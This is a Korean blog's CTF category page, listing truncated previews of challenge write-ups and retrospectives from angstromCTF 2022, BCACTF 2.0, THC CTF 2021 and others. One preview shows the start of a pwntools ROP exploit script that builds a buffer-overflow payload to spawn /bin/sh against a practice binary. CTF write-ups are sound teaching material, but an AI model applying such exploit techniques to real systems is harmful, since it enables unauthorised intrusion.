CTF 46

[angstromCTF 2022 : binary] 내가 푼 문제들 풀이 (ROP, 쉘코드...)

문제 풀이 환경 : ubuntu 18.04 사용 툴 : IDA 7.7 pro 대회 정보 : https://ctftime.org/event/1588 (angstromCTF 2022) whatsmyname.c 더보기 #include #include #include static void generate_name(char *str) { FILE *file = fopen("/dev/urandom","r"); fgets(str, 48, file); fclose(file); } int main(){ char yourName[48]; char myName[48]; char guess[48]; setbuf(stdout, NULL); generate_name(myName); printf("Hi! What's your na..

CTF/Write UPs 2022.05.13

angstromCTF 2022 후기

대회 정보 : ctftime.org/event/1588 대회 시간 : 2022.04.30 09:00 ~ 2022.05.05 08:59 (KST) 내가 적은 롸업 : https://jiravvit.tistory.com/entry/angstromCTF-2022-binary-%EB%82%B4%EA%B0%80-%ED%91%BC-%EB%AC%B8%EC%A0%9C%EB%93%A4-%ED%92%80%EC%9D%B4-ROP-%EC%89%98%EC%BD%94%EB%93%9C 오랜만에 간단하게(?) 씨텝에 참여했다. 와아ㅏㅏ 오랜만에 하니깐 너무 재밌었다. 참고로 이 씨텝은 작년에도 참여했었는데 올해도 참여하니.. 감회가 새롭다 !!! 이때까지 학교랑 회사랑.. 너무 바빠서 씨텝 자주 못했었는데 이제 주말마다 틈틈히 참여..

CTF/CTF 후기 2022.05.12

[Hspace Open CTF] beat arm 풀이 (32bit arm, return to csu)

문제 풀이 환경 : ubuntu 18.04 사용 툴 : IDA 7.5 pro 21년도 12월 4일에 있었던 Hspace Open CTF에 출제되었던 beat arm이라는 문제이다. 약 두달전에 푼거를 이제 롸업을 적었다. 문제 설명 Can you beat ARM? LOL $ file beat_armbeat_arm: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, BuildID[sha1]=3ae082761da3927964058af1a3eec40d1d0891d5, for GNU/Linux 3.2.0, not stripped 제공 파일 : 문제 바이너리, docker..

CTF/Write UPs 2022.01.17

Circle City Con CTF 2021 후기

대회 정보 : https://ctftime.org/event/1350 대회 시간 : 2021.06.12 01:00 KST — 2021.06.14, 04:00 KST 내가 적은 롸업 : https://jiravvit.tistory.com/entry/Circle-City-Con-CTF-2021-pwnable-Baby-Fawn-CDN-%ED%92%80%EC%9D%B4-overwriting?category=902325 딱 한문제 풀었다 ㅎ.. 문제 이름 앞에 baby라고 되어 있었는데, 포너블 문제에서 flag를 이미지 파일로 알려주는 경우는 처음이라서 나한텐 완전 baby같은 느낌은 아니었다 ㅎㅎ; 그래도 금방 파일입출력을 구글링해서 코드를 찾아서 빠르게 풀 수 있었다. 함수 자체를 호출하는 것이 아니라 pt..

CTF/CTF 후기 2021.06.17

BCACTF 2.0 후기

대회 정보 : https://ctftime.org/event/1369 대회 시간 : 2021.06.11 09:00 KST — 2021.06.14, 09:00 KST 내가 적은 롸업 : https://jiravvit.tistory.com/entry/BCACTF-20-binex-%EB%82%B4%EA%B0%80-%ED%91%BC-%EB%AC%B8%EC%A0%9C%EB%93%A4-%ED%92%80%EC%9D%B4-%ED%8F%AC%EB%84%99-%EC%98%AC%ED%81%B4-%EC%98%88%EC%95%BD%EA%B8%80-614-0930-%EA%B3%B5%EA%B0%9C 딱 포너블 영역만 다 풀었다. 취약점이 gets로 시작해서 gets로 끝났다 ㅎㅎ; 자꾸 뭔가.. 간단한 걸 놓치는 기분이다. 특히 ..

CTF/CTF 후기 2021.06.17

[THC CTF 2021] 내가 푼 문제들 풀이

문제 풀이 환경 : ubuntu 18.04 사용 툴 : IDA 7.5 pro Pwn Babyrop (94 point, 59 solves) rop ? rtl ? 대놓고 BOF가 터진다. secret_func에서 execve 함수를 사용해준다. 그래서 굳이 libc leak할 필요가 없다. 0x402204 + 22 = 0x40201a from pwn import * p = process('./babyrop') e = ELF('./babyrop') pop_rdi = 0x4012c3 pop_rsi_r15 = 0x4012c1 payload = '' payload += 'A' * 0x28 payload += p64(pop_rdi) payload += p64(0x40201a) # /bin/sh payload += p..

CTF/Write UPs 2021.06.17

THC CTF 2021 후기

대회 정보 : https://ctftime.org/event/1381 대회 시간 : 2021.06.12 16:00 KST — 2021.06.13, 23:00 KST 내가 적은 롸업 : https://jiravvit.tistory.com/entry/THC-CTF-2021-%EB%82%B4%EA%B0%80-%ED%91%BC-%EB%AC%B8%EC%A0%9C%EB%93%A4-%ED%92%80%EC%9D%B4?category=902325 되게 열심히 했다. 포너블 첫문제를 4등했다 ㅎㅎ; ㅋㅋㅋㅋㅋ 그런데 조금만 생각을 빠릿빠릿하게 했으면 진짜 퍼블도 했었을 수도 있는 문제였다.ㅎ .. 하지만 마음이 급해서 바보같이 풀었었다. execve함수도 있고 /bin/sh 문자열도 있는데 굳이 libc leak해서 진심..

CTF/CTF 후기 2021.06.17

[Circle City Con CTF 2021 : pwnable] [Baby] Fawn CDN 풀이 (overwriting)

문제 풀이 환경 : ubuntu 18.04 사용 툴 : IDA 7.5 pro Analysis Check Mitigation Execution & Code 1번 메뉴를 선택하면 무슨 주소를 출력해 준다. 이 주소는 IDA에서 확인한 결과, win함수의 주소임을 알 수 있다. win 함수는 아래와 같이 생겼다. fawn.jpg를 화면에 출력해준다. 뭔가 이 사진에 flag가 저장되어 있을 것 같아서 이 함수를 최종적으로 실행시켜야겠다고 생각했다. 그리고 3번 메뉴에서 이 deliver 함수를 실행한다. 직감적으로(?) 이 함수 대신에 win함수를 실행해야겠다고 생각했고, 마침 디버깅하면서 확인해보니 s에 선택메뉴 번호 적을 때 s.fptr 영역을 덮을 수 있어서 그대로 바로 진행하였다. Get Flag fr..

CTF/Write UPs 2021.06.17

[BCACTF 2.0 : binex] 내가 푼 문제들 풀이 (포넙 올클!) (예약글, 6/14 09:30 공개)

문제 풀이 환경 : ubuntu 18.04 사용 툴 : IDA 7.5 pro BCA Mart 일정 금액의 money를 주고 그 money보다 많은 flag를 구매해야 하는 문제 이런 문제일 경우, 보통 음수로 입력하거나 int 최댓값 뭐 이런거 입력하면 바로 풀린다. amount 입력할 때 int 최대값 입력해서 내 money를 늘릴 수 있다. Honors ABCs 진심 이게 젤 어려웠음 ㅎㅎ; gets로 인한 BOF for문에서 response에 대한 값을 뭐 검증한 후, 밑의 if문 로직에서 grade 변수의 값에 따라 flag를 준다. 내가 한 삽질 처음에 BOF가 일어나서 grade 변수 부분의 값을 flag출력되는 조건에 맞게 변조시키려고 했으나, 내가 입력한 후 for문 안에서 grade 변수..

CTF/Write UPs 2021.06.14